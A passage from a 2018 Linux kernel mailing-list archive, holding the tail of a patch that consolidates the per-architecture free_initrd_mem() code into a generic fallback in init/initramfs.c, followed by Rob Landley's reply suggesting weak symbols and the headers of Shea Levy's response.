 }
 
-#ifdef CONFIG_BLK_DEV_INITRD
-void __init free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-
 void __init free_initmem(void)
 {
 	free_initmem_default(-1);
diff --git a/arch/cris/Kconfig b/arch/cris/Kconfig
index cd5a0865c97f..5425f77e5664 100644
--- a/arch/cris/Kconfig
+++ b/arch/cris/Kconfig
@@ -76,6 +76,7 @@ config CRIS
 	select HAVE_DEBUG_BUGVERBOSE if ETRAX_ARCH_V32
 	select HAVE_NMI
 	select DMA_DIRECT_OPS if PCI
+	select HAVE_ARCH_FREE_INITRD_MEM
 
 config HZ
 	int
diff --git a/arch/frv/mm/init.c b/arch/frv/mm/init.c
index cf464100e838..345edc4dc462 100644
--- a/arch/frv/mm/init.c
+++ b/arch/frv/mm/init.c
@@ -131,14 +131,3 @@ void free_initmem(void)
 	free_initmem_default(-1);
 #endif
 } /* end free_initmem() */
-
-/*****************************************************************************/
-/*
- * free the initial ramdisk memory
- */
-#ifdef CONFIG_BLK_DEV_INITRD
-void __init free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-} /* end free_initrd_mem() */
-#endif
diff --git a/arch/h8300/mm/init.c b/arch/h8300/mm/init.c
index 015287ac8ce8..37574332b202 100644
--- a/arch/h8300/mm/init.c
+++ b/arch/h8300/mm/init.c
@@ -102,13 +102,6 @@ void __init mem_init(void)
 }
 
 
-#ifdef CONFIG_BLK_DEV_INITRD
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-
 void
 free_initmem(void)
 {
diff --git a/arch/hexagon/Kconfig b/arch/hexagon/Kconfig
index 76d2f20d525e..69a16cd2e253 100644
--- a/arch/hexagon/Kconfig
+++ b/arch/hexagon/Kconfig
@@ -17,6 +17,7 @@ config HEXAGON
 	# GENERIC_ALLOCATOR is used by dma_alloc_coherent()
 	select GENERIC_ALLOCATOR
 	select GENERIC_IRQ_SHOW
+	select HAVE_ARCH_FREE_INITRD_MEM
 	select HAVE_ARCH_KGDB
 	select HAVE_ARCH_TRACEHOOK
 	select NO_IOPORT_MAP
diff --git a/arch/ia64/Kconfig b/arch/ia64/Kconfig
index bbe12a038d21..366ef1dd3cd4 100644
--- a/arch/ia64/Kconfig
+++ b/arch/ia64/Kconfig
@@ -28,6 +28,7 @@ config IA64
 	select HAVE_DYNAMIC_FTRACE if (!ITANIUM)
 	select HAVE_FUNCTION_TRACER
 	select TTY
+	select HAVE_ARCH_FREE_INITRD_MEM
 	select HAVE_ARCH_TRACEHOOK
 	select HAVE_DMA_API_DEBUG
 	select HAVE_MEMBLOCK
diff --git a/arch/m32r/Kconfig b/arch/m32r/Kconfig
index dd84ee194579..9e41bdff45c3 100644
--- a/arch/m32r/Kconfig
+++ b/arch/m32r/Kconfig
@@ -21,6 +21,7 @@ config M32R
 	select CPU_NO_EFFICIENT_FFS
 	select DMA_DIRECT_OPS
 	select ARCH_NO_COHERENT_DMA_MMAP if !MMU
+	select HAVE_ARCH_FREE_INITRD_MEM
 
 config SBUS
 	bool
diff --git a/arch/m32r/mm/init.c b/arch/m32r/mm/init.c
index 93abc8c3a46e..e2b5f09209ee 100644
--- a/arch/m32r/mm/init.c
+++ b/arch/m32r/mm/init.c
@@ -139,14 +139,3 @@ void free_initmem(void)
 {
 	free_initmem_default(-1);
 }
-
-#ifdef CONFIG_BLK_DEV_INITRD
-/*======================================================================*
- * free_initrd_mem() :
- * orig : arch/sh/mm/init.c
- *======================================================================*/
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
diff --git a/arch/m68k/mm/init.c b/arch/m68k/mm/init.c
index e85acd131fa8..e20bef09258c 100644
--- a/arch/m68k/mm/init.c
+++ b/arch/m68k/mm/init.c
@@ -172,10 +172,3 @@ void __init mem_init(void)
 	mem_init_print_info(NULL);
 	print_memmap();
 }
-
-#ifdef CONFIG_BLK_DEV_INITRD
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
diff --git a/arch/metag/Kconfig b/arch/metag/Kconfig
index c7b62a339539..5be7f1693b1b 100644
--- a/arch/metag/Kconfig
+++ b/arch/metag/Kconfig
@@ -7,6 +7,7 @@ config METAG
 	select GENERIC_IRQ_SHOW
 	select GENERIC_SMP_IDLE_THREAD
 	select HAVE_64BIT_ALIGNED_ACCESS
+	select HAVE_ARCH_FREE_INITRD_MEM
 	select HAVE_ARCH_TRACEHOOK
 	select HAVE_C_RECORDMCOUNT
 	select HAVE_DEBUG_KMEMLEAK
diff --git a/arch/microblaze/mm/init.c b/arch/microblaze/mm/init.c
index df6de7ccdc2e..ea058dfda222 100644
--- a/arch/microblaze/mm/init.c
+++ b/arch/microblaze/mm/init.c
@@ -187,13 +187,6 @@ void __init setup_memory(void)
 	paging_init();
 }
 
-#ifdef CONFIG_BLK_DEV_INITRD
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-
 void free_initmem(void)
 {
 	free_initmem_default(-1);
diff --git a/arch/mips/Kconfig b/arch/mips/Kconfig
index 8128c3b68d6b..c033cd1e0c52 100644
--- a/arch/mips/Kconfig
+++ b/arch/mips/Kconfig
@@ -27,6 +27,7 @@ config MIPS
 	select GENERIC_SMP_IDLE_THREAD
 	select GENERIC_TIME_VSYSCALL
 	select HANDLE_DOMAIN_IRQ
+	select HAVE_ARCH_FREE_INITRD_MEM
 	select HAVE_ARCH_JUMP_LABEL
 	select HAVE_ARCH_KGDB
 	select HAVE_ARCH_MMAP_RND_BITS if MMU
diff --git a/arch/mn10300/Kconfig b/arch/mn10300/Kconfig
index e9d8d60bd28b..5aa4f1aa309f 100644
--- a/arch/mn10300/Kconfig
+++ b/arch/mn10300/Kconfig
@@ -6,6 +6,7 @@ config MN10300
 	select HAVE_UID16
 	select GENERIC_IRQ_SHOW
 	select ARCH_WANT_IPC_PARSE_VERSION
+	select HAVE_ARCH_FREE_INITRD_MEM
 	select HAVE_ARCH_TRACEHOOK
 	select HAVE_ARCH_KGDB
 	select GENERIC_ATOMIC64
diff --git a/arch/nios2/mm/init.c b/arch/nios2/mm/init.c
index c92fe4234009..3df75ff8c768 100644
--- a/arch/nios2/mm/init.c
+++ b/arch/nios2/mm/init.c
@@ -82,13 +82,6 @@ void __init mmu_init(void)
 	flush_tlb_all();
 }
 
-#ifdef CONFIG_BLK_DEV_INITRD
-void __init free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-
 void __ref free_initmem(void)
 {
 	free_initmem_default(-1);
diff --git a/arch/openrisc/mm/init.c b/arch/openrisc/mm/init.c
index 6972d5d6f23f..c1a3dcf9ad40 100644
--- a/arch/openrisc/mm/init.c
+++ b/arch/openrisc/mm/init.c
@@ -222,13 +222,6 @@ void __init mem_init(void)
 	return;
 }
 
-#ifdef CONFIG_BLK_DEV_INITRD
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-
 void free_initmem(void)
 {
 	free_initmem_default(-1);
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index cab32ee824d2..3643399230f3 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -932,10 +932,3 @@ void flush_tlb_all(void)
 	spin_unlock(&sid_lock);
 }
 #endif
-
-#ifdef CONFIG_BLK_DEV_INITRD
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
diff --git a/arch/powerpc/mm/mem.c b/arch/powerpc/mm/mem.c
index fe8c61149fb8..e85b2a3cd264 100644
--- a/arch/powerpc/mm/mem.c
+++ b/arch/powerpc/mm/mem.c
@@ -404,13 +404,6 @@ void free_initmem(void)
 	free_initmem_default(POISON_FREE_INITMEM);
 }
 
-#ifdef CONFIG_BLK_DEV_INITRD
-void __init free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-
 /*
  * This is called when a page has been modified by the kernel.
  * It just marks the page as not i-cache clean.  We do the i-cache
diff --git a/arch/riscv/mm/init.c b/arch/riscv/mm/init.c
index c77df8142be2..36f83fe8a726 100644
--- a/arch/riscv/mm/init.c
+++ b/arch/riscv/mm/init.c
@@ -62,9 +62,3 @@ void free_initmem(void)
 {
 	free_initmem_default(0);
 }
-
-#ifdef CONFIG_BLK_DEV_INITRD
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-}
-#endif /* CONFIG_BLK_DEV_INITRD */
diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
index eaee7087886f..94a9879f1ea8 100644
--- a/arch/s390/Kconfig
+++ b/arch/s390/Kconfig
@@ -125,6 +125,7 @@ config S390
 	select GENERIC_TIME_VSYSCALL
 	select HAVE_ALIGNED_STRUCT_PAGE if SLUB
 	select HAVE_ARCH_AUDITSYSCALL
+	select HAVE_ARCH_FREE_INITRD_MEM
 	select HAVE_ARCH_JUMP_LABEL
 	select CPU_NO_EFFICIENT_FFS if !HAVE_MARCH_Z9_109_FEATURES
 	select HAVE_ARCH_SECCOMP_FILTER
diff --git a/arch/score/Kconfig b/arch/score/Kconfig
index d881f99c9ddd..2beff03b2429 100644
--- a/arch/score/Kconfig
+++ b/arch/score/Kconfig
@@ -16,6 +16,7 @@ config SCORE
 	select MODULES_USE_ELF_REL
 	select CLONE_BACKWARDS
 	select CPU_NO_EFFICIENT_FFS
+	select HAVE_ARCH_FREE_INITRD_MEM
 
 choice
 	prompt "System type"
diff --git a/arch/sh/mm/init.c b/arch/sh/mm/init.c
index ce0bbaa7e404..7451459d0725 100644
--- a/arch/sh/mm/init.c
+++ b/arch/sh/mm/init.c
@@ -477,13 +477,6 @@ void free_initmem(void)
 	free_initmem_default(-1);
 }
 
-#ifdef CONFIG_BLK_DEV_INITRD
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-
 #ifdef CONFIG_MEMORY_HOTPLUG
 int arch_add_memory(int nid, u64 start, u64 size, struct vmem_altmap *altmap,
 		bool want_memblock)
diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index 8767e45f1b2b..06d543e35caf 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -18,6 +18,7 @@ config SPARC
 	select OF_PROMTREE
 	select HAVE_IDE
 	select HAVE_OPROFILE
+	select HAVE_ARCH_FREE_INITRD_MEM
 	select HAVE_ARCH_KGDB if !SMP || SPARC64
 	select HAVE_ARCH_TRACEHOOK
 	select HAVE_EXIT_THREAD
diff --git a/arch/tile/Kconfig b/arch/tile/Kconfig
index ef9d403cbbe4..7fb36c15762c 100644
--- a/arch/tile/Kconfig
+++ b/arch/tile/Kconfig
@@ -16,6 +16,7 @@ config TILE
 	select GENERIC_PENDING_IRQ if SMP
 	select GENERIC_STRNCPY_FROM_USER
 	select GENERIC_STRNLEN_USER
+	select HAVE_ARCH_FREE_INITRD_MEM
 	select HAVE_ARCH_SECCOMP_FILTER
 	select HAVE_ARCH_TRACEHOOK
 	select HAVE_CONTEXT_TRACKING
diff --git a/arch/um/kernel/mem.c b/arch/um/kernel/mem.c
index 3c0e470ea646..2d26eec92126 100644
--- a/arch/um/kernel/mem.c
+++ b/arch/um/kernel/mem.c
@@ -170,13 +170,6 @@ void free_initmem(void)
 {
 }
 
-#ifdef CONFIG_BLK_DEV_INITRD
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-
 /* Allocate and free page tables. */
 
 pgd_t *pgd_alloc(struct mm_struct *mm)
diff --git a/arch/unicore32/Kconfig b/arch/unicore32/Kconfig
index 462e59a7ae78..4da24cf467de 100644
--- a/arch/unicore32/Kconfig
+++ b/arch/unicore32/Kconfig
@@ -4,6 +4,7 @@ config UNICORE32
 	select ARCH_HAS_DEVMEM_IS_ALLOWED
 	select ARCH_MIGHT_HAVE_PC_PARPORT
 	select ARCH_MIGHT_HAVE_PC_SERIO
+	select HAVE_ARCH_FREE_INITRD_MEM
 	select HAVE_MEMBLOCK
 	select HAVE_GENERIC_DMA_COHERENT
 	select HAVE_KERNEL_GZIP
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index 0fa71a78ec99..51ce64e6d848 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -111,6 +111,7 @@ config X86
 	select HAVE_ALIGNED_STRUCT_PAGE		if SLUB
 	select HAVE_ARCH_AUDITSYSCALL
 	select HAVE_ARCH_HUGE_VMAP		if X86_64 || X86_PAE
+	select HAVE_ARCH_FREE_INITRD_MEM
 	select HAVE_ARCH_JUMP_LABEL
 	select HAVE_ARCH_KASAN			if X86_64
 	select HAVE_ARCH_KGDB
diff --git a/arch/xtensa/Kconfig b/arch/xtensa/Kconfig
index c921e8bccdc8..01a4a0e42118 100644
--- a/arch/xtensa/Kconfig
+++ b/arch/xtensa/Kconfig
@@ -16,6 +16,7 @@ config XTENSA
 	select GENERIC_PCI_IOMAP
 	select GENERIC_SCHED_CLOCK
 	select GENERIC_STRNCPY_FROM_USER if KASAN
+	select HAVE_ARCH_FREE_INITRD_MEM
 	select HAVE_ARCH_KASAN if MMU
 	select HAVE_CC_STACKPROTECTOR
 	select HAVE_DEBUG_KMEMLEAK
diff --git a/init/initramfs.c b/init/initramfs.c
index 7e99a0038942..d319058eb464 100644
--- a/init/initramfs.c
+++ b/init/initramfs.c
@@ -526,6 +526,13 @@ extern unsigned long __initramfs_size;
 #include <linux/initrd.h>
 #include <linux/kexec.h>
 
+#ifndef CONFIG_HAVE_ARCH_FREE_INITRD_MEM
+void __init free_initrd_mem(unsigned long start, unsigned long end)
+{
+       free_reserved_area((void *)start, (void *)end, -1, "initrd");
+}
+#endif
+
 static void __init free_initrd(void)
 {
 #ifdef CONFIG_KEXEC_CORE
diff --git a/usr/Kconfig b/usr/Kconfig
index 43658b8a975e..7a94f6df39bf 100644
--- a/usr/Kconfig
+++ b/usr/Kconfig
@@ -233,3 +233,7 @@ config INITRAMFS_COMPRESSION
 	default ".lzma" if RD_LZMA
 	default ".bz2"  if RD_BZIP2
 	default ""
+
+config HAVE_ARCH_FREE_INITRD_MEM
+	bool
+	default n
-- 
2.16.2

From - Thu Nov 08 21:41:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rob Landley <rob@landley.net>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Extract initrd free logic from arch-specific code.
Date: Wed, 28 Mar 2018 10:58:51 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <05620fee-e8b5-0668-77b8-da073dc78c40@landley.net>
References: <20180325221853.10839-1-shea@shealevy.com>
 <20180328152714.6103-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1522252643 24435 195.159.176.226 (28 Mar 2018 15:57:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 28 Mar 2018 15:57:23 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.6.0
Cc: linux-mips@linux-mips.org, linux-sh@vger.kernel.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Linus Walleij <linus.walleij@linaro.org>, Will Deacon <will.deacon@arm.com>,
 Paul Mackerras <paulus@samba.org>, Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Christoph Hellwig <hch@infradead.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 Eugeniy Paltsev <Eugeniy.Paltsev@synopsys.com>,
 uclinux-h8-devel@lists.sourceforge.jp,
 Vladimir Murzin <vladimir.murzin@arm.com>, Marc Zyngier <marc.zyngier@arm.com>,
 adi-buildroot-devel@lists.sourceforge.net, Al Viro <viro@zeniv.linux.org.uk>,
 Thomas Gleixner <tglx@linutronix.de>, Richard Henderson <rth@twiddle.net>,
 linux-cris-kernel@axis.com, Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 Ralf Baechle <ralf@linu
To: Shea Levy <shea@shealevy.com>, linux-riscv@lists.infradead.org,
 linux-kernel@vger.kernel.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Wed Mar 28 17:57:10 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f1DRl-00068F-Rh
	for gla-linux-snps-arc@m.gmane.org; Wed, 28 Mar 2018 17:57:10 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:From:References:To:Subject:Reply-To:Content-ID:Content-Description
	:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=MRFiHO5bEEn4fNJUoQ5yUBEvzXzxuZ731P4+YJo6aJA=; b=EX0dOeVA5HIF+c
	9dRGi+BW2jvAcDKfkJg0S+WXN8dT54+fyx3t94QFbSJAn+1lOasMN90/6LH5+1ycF5i+GZsUSuZAN
	BifWhGdBMfUgSvUZU+e5sDPLRYLxjziKwmtOn1YeFST9NQTCXmYdsPbUjXG4xIHkVFhFEHQkSRK6+
	DPhQA6CODXnZB78MMkaI5jc8chdU+8wMm/X9Cc5dtOATGd8Z6p3Lh7s3QJ/S6cCCJgBlhKRpk9Svw
	FXHxkFz8aHwBfvnYTnCdfAaBO3tbqdKAxijtUC6g1jBlTwYzP4dbNIzkITSCA9VZvs4JB7vfyP1V8
	I7HGHPyn6rn0fJRT8q5Q==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f1DTp-0001a1-1H; Wed, 28 Mar 2018 15:59:17 +0000
Original-Received: from mail-io0-x241.google.com ([2607:f8b0:4001:c06::241])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f1DTl-0001YD-HL
 for linux-snps-arc@lists.infradead.org; Wed, 28 Mar 2018 15:59:14 +0000
Original-Received: by mail-io0-x241.google.com with SMTP id m83so4116027ioi.8
 for <linux-snps-arc@lists.infradead.org>; Wed, 28 Mar 2018 08:59:02 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=landley-net.20150623.gappssmtp.com; s=20150623;
 h=subject:to:cc:references:from:message-id:date:user-agent
 :mime-version:in-reply-to:content-language:content-transfer-encoding;
 bh=qSDkcmbz+hhYmqe2ncZumACqLvxx9LwbFbBwrEiskLE=;
 b=RL0IGzUYK4VjO7BnzVR5zspETrUV5hikhNkV3/TKuuKQyc2NSeMP36w4nxksvwU4vG
 JvhH12V4osNL1UeOKGC15RdMh84F9BLhlg5KUJA91Moq9/8PdJr3OhjXk3H9HLyySi5P
 menS/9ctrNhaCPpppZtfo21xN8+L1nHITmDfqpAJAL3rVG73vsXN2Bkh049J+9jwaorz
 iQ4V2qdJtNZneAQ65nQU3FH1FQwNG+i3yAVVYJCxOzF9MULIf0FBEw6Nt8gwfsgQEOCG
 ZdagY+hnlhACFDWyppY2FityvSWLvJ6gt/2g4XEFvN/m4kmjlj0FUFMjeSbgJXhoekd0
 m+cQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:subject:to:cc:references:from:message-id:date
 :user-agent:mime-version:in-reply-to:content-language
 :content-transfer-encoding;
 bh=qSDkcmbz+hhYmqe2ncZumACqLvxx9LwbFbBwrEiskLE=;
 b=pcrNDfubKvGSZHeg5xz0qpESVJtYZW/c0zRgTGlqO+HAZxS+FUKlUPLfJdITyRW5d8
 CgSsZGdAqt2mkyO8Ln/S0E0BjmC3t0TkvHaYueSjlhbyrowHHc6lYgUEeEPd+kAyh919
 PN2vzdeqIRoyCSDsUSiJbuwCwPVPB8Wrmc7FX0m7wpHoIdAG5s0xU+mWLlu2L3aZ+IB4
 ajjDJEyMF5znaQyrmWU/QRwZsJ131RgGJm9yB9McFkajXFRikskrNC3VY2JzoIQGUigz
 jFEOh99F+pHm1rAiS+2XuVe4Pe/RNN1bH5O+DVmgneBT+FMc3X0+gCpMNcsrUv9NvlhY
 XCCw==
X-Gm-Message-State: AElRT7ESTBt3Hr8eMkDaNhqGZ7NXCK/nyvYEiBGWI4MqLWnRzEqJDxCY
 xPFnYyCus2GuMpZ7YQvU34jtZw==
X-Google-Smtp-Source: AG47ELss7e9gTw/EW5uReqslv5gSdy/QsSqOI9SxFyO+YGUYNMIXTL22ku6bXZmM+LXFQUNNTCNiQQ==
X-Received: by 10.107.10.219 with SMTP id 88mr51174837iok.259.1522252742117;
 Wed, 28 Mar 2018 08:59:02 -0700 (PDT)
Original-Received: from [192.168.42.97] ([172.58.139.228])
 by smtp.googlemail.com with ESMTPSA id i20sm2805718iod.36.2018.03.28.08.58.52
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Wed, 28 Mar 2018 08:59:01 -0700 (PDT)
In-Reply-To: <20180328152714.6103-1-shea@shealevy.com>
Content-Language: en-US
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180328_085913_638626_4EA773DC 
X-CRM114-Status: GOOD (  15.73  )
X-Spam-Score: 0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4001:c06:0:0:0:241 listed in] [list.dnswl.org]
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3690 gmane.linux.kernel:2727695 gmane.linux.ports.mips.general:64259 gmane.linux.ports.sh.devel:56754 gmane.linux.ports.ia64:28758 gmane.linux.ports.hexagon:1607 gmane.linux.kernel.metag:1728 gmane.linux.ports.arm.kernel:641528 gmane.linux.ports.parisc:28433 gmane.linux.ports.alpha:4889 gmane.linux.ports.sparc:27493 gmane.linux.uml.devel:16713 gmane.linux.uml.user:15398 gmane.linux.ports.ppc64.devel:155392
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3690>

On 03/28/2018 10:26 AM, Shea Levy wrote:
> Now only those architectures that have custom initrd free requirements
> need to define free_initrd_mem.
...
> --- a/arch/arc/mm/init.c
> +++ b/arch/arc/mm/init.c
> @@ -229,10 +229,3 @@ void __ref free_initmem(void)
>  {
>  	free_initmem_default(-1);
>  }
> -
> -#ifdef CONFIG_BLK_DEV_INITRD
> -void __init free_initrd_mem(unsigned long start, unsigned long end)
> -{
> -	free_reserved_area((void *)start, (void *)end, -1, "initrd");
> -}
> -#endif
> diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
> index 3f972e83909b..19d1c5594e2d 100644
> --- a/arch/arm/Kconfig
> +++ b/arch/arm/Kconfig
> @@ -47,6 +47,7 @@ config ARM
>  	select HARDIRQS_SW_RESEND
>  	select HAVE_ARCH_AUDITSYSCALL if (AEABI && !OABI_COMPAT)
>  	select HAVE_ARCH_BITREVERSE if (CPU_32v7M || CPU_32v7) && !CPU_32v6
> +	select HAVE_ARCH_FREE_INITRD_MEM
>  	select HAVE_ARCH_JUMP_LABEL if !XIP_KERNEL && !CPU_ENDIAN_BE32 && MMU
>  	select HAVE_ARCH_KGDB if !CPU_ENDIAN_BE32 && MMU
>  	select HAVE_ARCH_MMAP_RND_BITS if MMU

Isn't this why weak symbols were invented?

Confused,

Rob

From - Thu Nov 08 21:41:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Extract initrd free logic from arch-specific code.
Date: Wed, 28 Mar 2018 12:04:12 -0400
Lines: 91
Approved: news@gmane.org
Message-ID: <877epwtceb.fsf@xps13.shealevy.com>
References: <20180325221853.10839-1-shea@shealevy.com>
 <20180328152714.6103-1-shea@shealevy.com>
 <05620fee-e8b5-0668-77b8-da073dc78c40@landley.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="===============2477001509995621341=="
X-Trace: blaine.gmane.org 1522252967 15102 195.159.176.226 (28 Mar 2018 16:02:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 28 Mar 2018 16:02:47 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-sh@vger.kernel.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Linus Walleij <linus.walleij@linaro.org>, Will Deacon <will.deacon@arm.com>,
 Paul Mackerras <paulus@samba.org>, Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Christoph Hellwig <hch@infradead.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 Eugeniy Paltsev <Eugeniy.Paltsev@synopsys.com>,
 uclinux-h8-devel@lists.sourceforge.jp,
 Vladimir Murzin <vladimir.murzin@arm.com>, Marc Zyngier <marc.zyngier@arm.com>,
 adi-buildroot-devel@lists.sourceforge.net, Al Viro <viro@zeniv.linux.org.uk>,
 Thomas Gleixner <tglx@linutronix.de>, Richard Henderson <rth@twiddle.net>,
 linux-cris-kernel@axis.com, Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 Ralf Baechle <ralf@linu
To: Rob Landley <rob@landley.net>, linux-riscv@lists.infradead.org,
 linux-kernel@vger.kernel.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Wed Mar 28 18:02:34 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f1DWz-0003Z4-SH
	for gla-linux-snps-arc@m.gmane.org; Wed, 28 Mar 2018 18:02:34 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:Content-Type:Cc:
